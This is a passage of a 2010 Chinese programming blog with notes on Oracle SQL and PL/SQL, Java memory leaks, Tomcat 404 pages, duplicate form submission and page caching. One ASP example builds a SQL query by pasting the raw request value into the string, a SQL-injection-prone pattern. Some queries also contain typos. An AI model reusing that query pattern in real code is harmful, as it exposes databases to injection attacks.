依次类推,如果没有任何匹配关系则返回defalut
分组函数
6.1AVG 取平均值
Select AVG(SAL) From EMP
6.2max 取最大值
select max(sal) from emp
6.3min 取最小值
select min(sal) from emp
6.4count 取记录数
SELECT COUNT(*) FROM EMP
也可以
select count(empno) from emp
注意:
要么count(*)
要么count(没有null值的列---主键)
6.5sum 求和
Select SUM(SAL*12) From EMP
应用:
1.分组函数和distinct关键词的搭配
Select COUNT(Distinct SAL) From EMP
2.组函数与空值
select count(comm) from emp
空值不参与运算,直接被过滤掉
3.分组数据
group by子句
SELECT COUNT(*) FROM EMP GROUP BY DEPTNO
4.使用group by规则
A.group by后面的字段不必显示在select列表中
B.反之则不行
也就是说:select后面的字段必须在group by子句中出现
例外的是:
在组函数(count,max,min等)中出现的字段除外
5.关于group by条件分组的问题
A.group by可以和where来搭配
where只能在group by的前面
Select JOB From EMP Where SAL>2000 Group By JOB
group by后面不能有where
B.where子句中不能包括组函数
条件的表达只能使用having来表示
Select DEPTNO,Max(SAL),Min(SAL) From EMP Group By DEPTNO Having Max(SAL)>2000
对象函数
posted @
2010-07-28 18:22 junly 阅读(767) |
评论 (0) |
编辑 收藏
--1定义标量变量
--(1)定义语法
变量名 [constant] 数据类型 [not null] [:= | default expr]
-- constant:用于指定常量。必须指定初始值
-- := 用于为变量和常量指定初始值
-- expr初始值的pl/sql表达式,可以是文本值、变量、函数等
--示例1:
v_name varchar2(10);
v_rate constant number(3,2) := 5.5;
v_valid boolean not null default false;
--(2)使用
--变量赋值使用等号前加冒号(:=)
--示例2:
declare
v_name varchar2(10);
v_money number(6,2);
c_tax_rate constant number(3,2) := -0.03;
v_tax_money number(6,2);
begin
select user_name,game_money into v_name,v_money
from user_info where user_id = 100000;
v_tax_money := v_money*c_tax_rate;
dbms_output.put_line('name:'||v_name);
dbms_output.put_line('money:'||v_money);
dbms_output.put_line('rate:'||v_tax_money);
end
--(3)使用%TYPE属性
v_name user_info.user_name%TYPE;
v_money user_info.game_money%TYPE;
c_tax_rate constant number(3,2) := -0.03;
v_tax_money v_money%TYPE;
--变量v_name,v_money与user_info表的user_name,game_money列的类型和长度完全一致
--变量v_tax_money与变是v_money的类型和长度完全一致
--2复合变量
--(1)pl/sql记录(类似于结构)
-- 在定义部分定义记录类型和记录变量,在执行部分引用该记录变量
-- 引用记录成员时必须要加记录变量作为前缀(记录变量。记录成员)
--示例3:
declare
TYPE record_type IS RECORD(
v_name user_info.user_name%TYPE,
v_money user_info.game_money%TYPE
);
emp_record record_type;
begin
select user_name,game_money into emp_record
from user_info where user_id = 100000;
dbms_output.put_line('name:'||emp_record.v_name);
dbms_output.put_line('money:'||emp_record.v_money);
end
--(2)pl/sql表(类似于数组)
-- pl/sql表与数组区别:下标没有上下限,个数年没有限制,下票可以为负值
-- 必须先在定义部分定义pl/sql表类型和pl/sql表变量,在执行部分引用该pl/sql表变量
--示例4:
declare
TYPE name_table_type IS TABLE OF user_info.user_name%TYPE
INDEX BY BINARY_INTEGER;
v_name name_table_type;
begin
select user_name into v_name(-1)
from user_info where user_id = 100000;
dbms_output.put_line('name:'||v_name(-1));
end
--(3)嵌套表
--(4)VARRAY(变长数组)
--3 参照变量
-- 用于存放数值指针的变量。
--(1)游标变量(REF CURSOR)
-- 静态游标:需要在定义游标时指定相应的select语句
-- 示例5:
declare
type c1 is ref cursor;--c1为ref cursor类型
emp_cursor c1;--emp_cursor为游标变量
v_name user_info.user_name%TYPE;
v_money user_info.game_money%TYPE;
begin
open emp_cursor for --打开游标变量时指定了对应的select语句
select user_name,game_money from user_info where user_id = 100000;
loop
fetch emp_cursor into v_name,v_money;
exit when emp_cursor%notfound;
dbms_output.put_line(v_name);
end loop;
end;
-- 动态游标:在定义游标变量时不要需指定相应的select语句,而是打开游标时指定select语句
--(2)对象类型变量(REF obj_type)
-- 是指向对象实例的指针
-- 示例6:
create or replace type home_type as object(--建立对象类型
street varchar2(50),city varchar2(20),
state varchar2(20),zipcode varchar2(6),
owner varchar2(10)
);
create table homes of home_type;--建表
insert into homes values('上海路100号','上海','200000','junly');
commit;
--对象表homes存放家庭地址及户主姓名,如每个家庭有四口人,为了同一家庭成员共享家庭地址,
--可使用REF引用home_type对象类型,从而降低占用空间。
create table person(
id number(6) primary key,
name varchar2(10),
addr ref home_type
);
insert into person select 1,'junly',ref(p) from homes p where p.owner='junly'
insert into person select 2,'junl2',ref(p) from homes p where p.owner='junly'
--person表插入数据时,addr列将存入指向homes表相应数据的地址指针
--4 LOB变量
/**//*用于存储大批量数据的变量
(1)内部LOB
CLOB 支技事务操作 存储数据库中 用于存储大批量字符数据
BLOB 支技事务操作 存储数据库中 用于存储大批量二进制数据
NCLOB 支技事务操作 存储数据库中 用于存储大批量字符数据
(2)外部LOB
BFILE 不支技事务 存在OS文件中 存储指向OS文件的指针
*/
--5非PL/SQL变量
posted @
2010-07-28 12:01 junly 阅读(1099) |
评论 (0) |
编辑 收藏
1
table:citys
city ran
广州 A
广州 B
广州 C
广州 D
city ran
广州 A,B,C,D
请问oracle 的sql语句要怎么写?
select city,wmsys.wm_concat(ran)
from citys
group by city
2 备忘
insert into emp (id,name,sex,tim) --dual
values(id_seq.nextval,'junly',default,to_date('2010-5-11 11:25:00','yyyy-mm-dd hh24:mi:ss'))
3 直接装载
--直接装载方式
insert /**//*+append*/ into emp (field1,field2,field3)
select f1,f2,f3 from tep
where f4=20;
4 更新
--更新
update emp set (field1,field2,field3)=(
select f1,f2,f3 from tep where f4=20)
where field4=100;
5 取消重复
select count(distinct user_name) as num
from user_info
6 group by + rollup 横向小计
-- group by + rollup 横向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by rollup (num1)
7 group by + cube 纵向小计
-- group by + cube 纵向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by cube(num1)
8 自连接
-- 自连接
/**//* user_info
id name pid
-------------------
7888 king
7889 blank 7888
7900 jones 7888
*/
select manager.name from user_info manager,user_info worker
where manager.id=worker.pid
and worker.name='jones';
----------
king
9 ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
--ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
/**//*
ALL 必须要符合子查询结果的所有值
ANY 只要符合子查询结果的任一个值即可
*/
select user_name,money from user_info where money >all(
select money form user_game where id=10);
select user_name,money from user_info where money >any(
select money form user_game where id>10);
10 合并查询
--(1)union 取两个结果集的并集,自动去掉重复行并以第一列的结果排序
--(2)union all 取两个结果集的并集,不去重复行也不进行排序
--(3)intersect 取两个结果集的交集
--(4)minus 取两个结果集的差集
select uname,sal from emp where sal>200
union
select uname,sal from emp where job='aaa'
11 case条件分支
select name,case when money>3000 then 3
when money>2000 then 2 when money>1000 then 1 end
from user_info where user_id=10000;
12 with子名重用子查询
--with子名重用子查询
with summary as (
select name,sum(money) as total from user_info
group by name
)
select name,total from summary
where total>3000;
13 connect by (感谢广州Nicholas兄)
select sysdate - rownum rn from dual connect by rownum<100
--日
select to_number(to_char(rn,'yyyymmdd'))rn from(select sysdate - rownum rn
from dual connect by rownum<(
select floor(sysdate-regist_time)from sales_info where user_id=15587657))
--月份
select to_number(to_char(rn,'yyyymm'))rn from(
select add_months(sysdate,-rownum) rn
from dual connect by rownum<(
select floor(months_between(sysdate,regist_time)) from sales_info where user_id=15587657))
14 批理修改
merge into sales_info s
using tb_rd_user_info u
on (s.user_id=u.user_id)
when matched then
update
set s.user_name=u.user_name;
commit;
15 删除重复记录
delete from user where rowid in (
select max(rowid) from user group by userName having count(userName)>1)
posted @
2010-07-28 09:46 junly 阅读(374) |
评论 (0) |
编辑 收藏
--例1
declare
v_name varchar2(10);
begin
select user_name into v_name from tb_rd_user_info where user_name='ywj12';
dbms_output.put_line('name:'||v_name);
exception
when no_data_found then
dbms_output.put_line('error name');
end;
--匿名块
-- 没有名称的pl/sql块,如例1
--命名块
--子程序
-- (1)过程
-- 建立过程时可以指定输入参数(in),输出参数(out)
create or replace procedure update_money(uname varchar2,num number)
is
begin
update tb_rd_user_info set game_money = num
where user_name = uname;
end update_money;
-- 删除
drop procedure update_money;
-- 调用
exec update_money('ywj123',100000);
call update_money('ywj123',100000);
-- 重新编译
alter procedure update_money compile;
-- 授权student用户使用该过程
grant execute on update_money to student;
-- (2)函数
-- 创建
create or replace function get_user_id(uname varchar2)
return number is
uid number;
begin
select user_id into uid from tb_rd_user_info
where user_name=uname;
return uid;
end;
-- 调用
var rs number
call get_user_id('ywj123') into :rs;
-- 删除
drop function get_user_id;
-- 重新编译
alter function get_user_id compile;
-- (3)包
-- 创建(包由包规范和包体两部分组成)
-- 包规范
create package emp_pkg is
procedure update_money (uname varchar2,num number);
function get_user_id(uname varchar2) return number;
end;
-- 包体
create package body emp_pkg is
procedure update_money(uname varchar2,num number)
is
begin
update tb_rd_user_info set game_money = num
where user_name = uname;
end update_money;
function get_user_id(uname varchar2)
return number is
uid number;
begin
select user_id into uid from tb_rd_user_info
where user_name=uname;
return uid;
end;
end;
-- 调用
call emp_pkg.update_money('ywj123',100000);
var rs number
call emp_pkg.get_user_id('ywj123') into :rs;
--解发器
存储过程参数传递
参数的作用是向存储过程传递数据,或从存储过程获得返回结果。正确的使用参数可以大大增加存储过程的灵活性和通用性。
参数的类型有三种,如下所示。
IN 定义一个输入参数变量,用于传递参数给存储过程
OUT 定义一个输出参数变量,用于从存储过程获取数据
IN OUT 定义一个输入、输出参数变量,兼有以上两者的功能
参数的定义形式和作用如下:
参数名 IN 数据类型 DEFAULT 值;
定义一个输入参数变量,用于传递参数给存储过程。在调用存储过程时,主程序的实际参数可以是常量、有值变量或表达式等。DEFAULT 关键字为可选项,用来设定参数的默认值。如果在调用存储过程时不指明参数,则参数变量取默认值。在存储过程中,输入变量接收主程序传递的值,但不能对其进行赋值。
参数名 OUT 数据类型;
定义一个输出参数变量,用于从存储过程获取数据,即变量从存储过程中返回值给主程序。
在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。在存储过程中,参数变量只能被赋值而不能将其用于赋值,在存储过程中必须给输出变量至少赋值一次。
参数名 IN OUT 数据类型 DEFAULT 值;
定义一个输入、输出参数变量,兼有以上两者的功能。在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。DEFAULT 关键字为可选项,用来设定参数的默认值。在存储过程中,变量接收主程序传递的值,同时可以参加赋值运算,也可以对其进行赋值。在存储过程中必须给变量至少赋值一次。
如果省略IN、OUT或IN OUT,则默认模式是IN。
CREATE OR REPLACE PROCEDURE CHANGE_SALARY(P_EMPNO IN NUMBER DEFAULT 7788,P_RAISE NUMBER DEFAULT 10)
AS
V_ENAME VARCHAR2(10);
V_SAL NUMBER(5);
BEGIN
SELECT ENAME,SAL INTO V_ENAME,V_SAL FROM EMP WHERE EMPNO=P_EMPNO;
UPDATE EMP SET SAL=SAL+P_RAISE WHERE EMPNO=P_EMPNO;
DBMS_OUTPUT.PUT_LINE('雇员'||V_ENAME||'的工资被改为'||TO_CHAR(V_SAL+P_RAISE));
COMMIT;
EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('发生错误,修改失败!');
ROLLBACK;
END;
参数的值由调用者传递,传递的参数的个数、类型和顺序应该和定义的一致。如果顺序不一致,可以采用以下调用方法。如上例,执行语句可以改为:
EXECUTE CHANGE_SALARY(P_RAISE=>80,P_EMPNO=>7788);
可以看出传递参数的顺序发生了变化,并且明确指出了参数名和要传递的值,=>运算符左侧是参数名,右侧是参数表达式,这种赋值方法的意义较清楚。
posted @
2010-07-26 18:20 junly 阅读(727) |
评论 (0) |
编辑 收藏
最近一直被内存溢出捆扰,现在对这几天的工作做个小小的总结!另外给首次与到此类问题的小鸟们作个提示,希望大家早日变成老鸟!
1 首先确认是不是内存溢出,如果直接报OutOfMemoryException,那肯定是内存溢出,有时可能没有发现这个错误,但WEB服务到最后还是挂了,也有可能是由Memory Out,如何确认,最好的办法就是查看gc日志。
2 如果确认是内存溢出,不要急着跟踪,因为要找到确切位置还是有一定困难的,个人建议对最近修改的代码作一次全面检查,对于有可能出现内存溢出的地方作些修改。
可能出现的原因:
(1) 递归、循环,这里要注意隐性的地笔,如拦载器,我自已遇到一次拦载器的死循环
(2) static 的对象,查看static里面是不是有大量的对象塞进去
(3)Set/List/Map对象,查看Set/List/Map里面是不是有对象用完了没有释放
(4)session/application,查看session里的对象、过期时间等,看是不是无法即时释放
(5)ClassLoader,Java ClassLoader结构的使用为内存泄漏提供了许多可乘之机。这个我不知道深层原因,有知道的可以告诉我,将不胜感谢!
(6)String,字符串累加也容易出现溢出。一般顺序StringBuilder,StringBuffer,String。
(7)全局变量,尽量不使用,使用了即时释放
修改后再查看日志,也许问题已经解决了。
3 如果还是有溢出就只能上工具了,我使用的是JProfiler,功能很强大,首先我在window上远程监控linux,结果失败,原因是因为JProfiler本身就有很大的消耗,而且在测试中还要不断gc,影响生产,所以选用在测试环境中配合jmeter测试。
4 测试方法:循环测试,查看gc后是否有对象数量不断增加,即有对象未释放。
5 其此是要了解java内存分配原理和gc的工作原理,这样才可以定位到问题的具体位置。
6 对jvm进行优化。
具体操作未详细说明,可以参考相关资料
java内存泄漏原因
http://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak/
gc原理
http://chenchendefeng.javaeye.com/blog/455883
jvm优化
http://www.cjsdn.net/post/view?bid=1&id=197954
JVM调优-解决native heap持续增长 http://sw1982.javaeye.com/blog/724626 荐
posted @
2010-07-22 11:11 junly 阅读(2184) |
评论 (1) |
编辑 收藏
在开始动手之前,我一般习惯整体盘算一遍,这样感觉下起手来,比较顺. 只是有时盘算的过于细致,往往会被某个小细节拖住步子. 所以这个时候,老大总会叫我move on,先把架子搭起来,如果什么都考虑,那么永远也无法前进.
做了一些东西之后,真的发现这个理想中成立实际中困难的理论. 设想,最好把目光放在方向上.
先感叹一下.
404错误页出现这个问题,我在web.xml定义了如下的定义,
<error-page>
<error-code>404</error-code>
<location>/error_404.htm</location>
</error-page>
路径的是对的,奇怪的是我测试时输入一个不存在的页,出现404错误提示出现的却不是我所定义的页面,这就怪了.我记得在weblogic中我也是这样定义的,所以我首先想到的时服务器的问题. 只是这种问题,不要分析,我试着在javaworld发了一贴,问了一下. 二楼给了一个链接, 我进去才发现这个问题已经有很多人在讨论了.这是实际出问题,要是一直照着课本,应该不会想到这些问题,只是自己实际操作的才发现这些.
通看了所有的帖子,出现这种问题,主要有以下几个因素:
1.使用 tomcat 服务器
2.tomcat服务器版本
3.浏览器问题
4.IE的设置
5.错误页本身的大小
第一点,我想我的经历应该可以算个证明.
第二点.很多人用tomcat5.5可以顺利的找到错误页
第三点.换了一下FF,可以顺利找到指定的错误页
第四点.我设置了 工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,可以顺利定向到指定错误页,
说明可以
第五点,我试着发狠输了一大堆东西进去, 指定错误页顺利出现了.
下面是提供的解决方法:
1.升级tomcat (换成其它服务器,代价沉重)
2.ie 设定 工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,
3. 把错误页做大一点,具体几个字节,没测试,估计三四百足够了, (加一个div块,display设为none就可以了)
4.设置指定错误页页状态为正确,骗过IE的自定义错误页 方法
<%
response.setStatus(200); // 200 = HttpServletResponse.SC_OK
%>
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/leniz/archive/2006/01/18/582765.aspx
感谢这位仁兄
posted @
2010-06-24 10:19 junly 阅读(3499) |
评论 (0) |
编辑 收藏
当用户从表单处完成递交,如无问题已将注册信息写入数据库,但有问题的是,如何防止用户刷新页面,这相当于将原有的信息再次写入数据库,在网络上寻找解决方法,试用后将本人认为最管用的方法记下。
网络中给出如下解决方式:
第一种:禁用提交按钮
当用户提交表单后,使用JAVASCRIPT脚本语言,将提交钮禁用。
分析:如客户端没有开启脚本功能就出现问题;这也仅是在表单处理前有用,防止用户多次点击提交钮;现在很多网站都启用验证码解决此问题了。
第二种:使用 Session
在第一次写入数据库代码后,将Session标记;在数据库代码前判断Session是否曾经标记过并与刚才的标记是否相等。
代码:
Session("User") = True
Response.write "您刚才已经注册过了……"
Else
...... '省略写入数据库部分
Session("User") = True
End if
分析:比较管用的;但Session默认时效为20分钟,虽然可以设置时效长度,但由于网站服务器设置不同,也许达不到理想效果。
第三种:重新定向
注册完毕后直接将网页重新定向到其他页面。
代码:Response.Redirect "Index.html"
分析:使用此方法,需要配合客户端脚本清除历史(history)才行,没有试用,因为用户可以使用后退按钮,继续刷新。
第四种:禁止缓存
在写入数据一页最下边添加下面的代码,然后导向新页,可以使用户点击后退按钮后,页面提示网页过期。
代码:
ASP:
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
ASP.NET:
Response.Buffer=true;
Response.ExpiresAbsolute=DateTime.Now.AddSeconds(-1);
Response.Expires=0;
Response.CacheControl="no-cache";
分析:试用后,发现一个问题,虽然表面看到网页过期字样,但在过期网页上刷新,仍可以再次刷新多次注册。
第五种:用弹出窗口
提交表单的时候弹出新窗口(在新窗口页面完成数据库的写入),关闭本窗口。对于window.open()打开的窗口是无法用后退按钮的。
第六种:调数据库进行对比
这一种是得不偿失的方法,因为会加重服务器的负担,如果在表单没有进行AJAX方式的验证,这也算是一种必要的方法。
代码:(假设已连接数据库)
Dim Rs,SQL,UserId
UserId = Request("Userid") '从表单从取数据内容
If UserId <> "" then '不为空的时候
Set Rs=Server.CreateObject("Adodb.Recordset")
SQL = "Select Userid From 表 Where Userid='"& UserId &"'"
Rs.Open Sql, Conn, 2, 2
If Rs.Eof And Rs.Bof Then
Response.Write "没有相同数据!"
Else
Response.Write "有相同数据!"
End If
Rs.Close
Set Rs = Nothing
Response.End
End If
经过测试,如果不想太费事,直接用第六种方法,用户刷一次就对数据库检索一次,这种方式最大的弊端就是有可能把服务器累死;
由于,我采用了第二种方法,结合了第四种(效果不大),在代码最前端加入了验证由何处来本站的函数,这样可以防止用户自己在本机模仿网站表单提交数据(hi.baidu.com/76512/blog/item/b8d9be8f168d3aedf01f3680.html),也可以防止用户在本站直接在网址末端加变量值刷新数据。
由于在表单处已加入随机验证码,并已写入Session中,在处理数据前,可以先检测Session是否为空,空为已提交过了,不为空是第一次提交,在第一次提交后将该Session清空。
代码:
If Session("RndNum") = ""
Response.Write "已提交过数据了呀!"
Else
...... '省略写入数据库代码
Session("RndNum") = ""
End if
分析:只要是从正常的途径递交的表单,Session("RndNum")的数值不会为空的,从非正常途径(比如说,直接打开网址,或在本机模拟表单递交,或在网址后添加变量值,是无法写入数据库的。Session默认的20分钟,清空后仍然符合逻辑。也不怕用户打开几个注册页面,来回刷新注册。
禁用页面缓存的几种方法(静态和动态)
1、在Asp页面首部<head>加入
以下是引用片段:
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "No-Cache" |
2、在HtML代码中加入
以下是引用片段:
<HEAD>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
</HEAD> |
3、在重新调用原页面的时候在给页面传一个参数 Href="****.asp?random()"
前两个方法据说有时会失效,而第三种则是在跳转时传一个随机的参数! 因为aspx的缓存是与参数相关的,如果参数不同就不会使用缓存,而会重新生成页面,每次都传一个随机的参数就可以避免使用缓存。这个仅适用于asp&asp.net
4、在jsp页面中可使用如下代码实现无缓存:
以下是引用片段:
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server |
这些代码加在<head> </head>中间具体如下
以下是引用片段:
<head>
<%
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server
%>
</head> |
5、window.location.replace("WebForm1.aspx");
参数就是你要覆盖的页面,replace的原理就是用当前页面替换掉replace参数指定的页面。
这样可以防止用户点击back键。使用的是javascript脚本,举例如下:
a.html
以下是引用片段:
<html>
<head>
<title>a</title>
<script language="javascript">
function jump(){
window.location.replace("b.html");
}
</script>
</head>
<body>
<a href="javascript:jump()">b</a>
</body>
</html> |
b.html
以下是引用片段:
<html>
<head>
<title>b</title>
<script language="javascript">
function jump(){
window.location.replace("a.html");
}
</script>
</head>
<body>
<a href="javascript:jump()">a</a>
</body>
</html> |
前4种只是清空了cache,即存储在Temporary Internet Files文件夹中的临时文件,而第五种则是使用跳转页面文件替换当前页面文件,并没有清空cache,也就是说Temporary Internet Files产生了相关的临时文件,两者搭配使用真是清空缓存,必备良药。
posted @
2010-06-21 17:33 junly 阅读(2642) |
评论 (1) |
编辑 收藏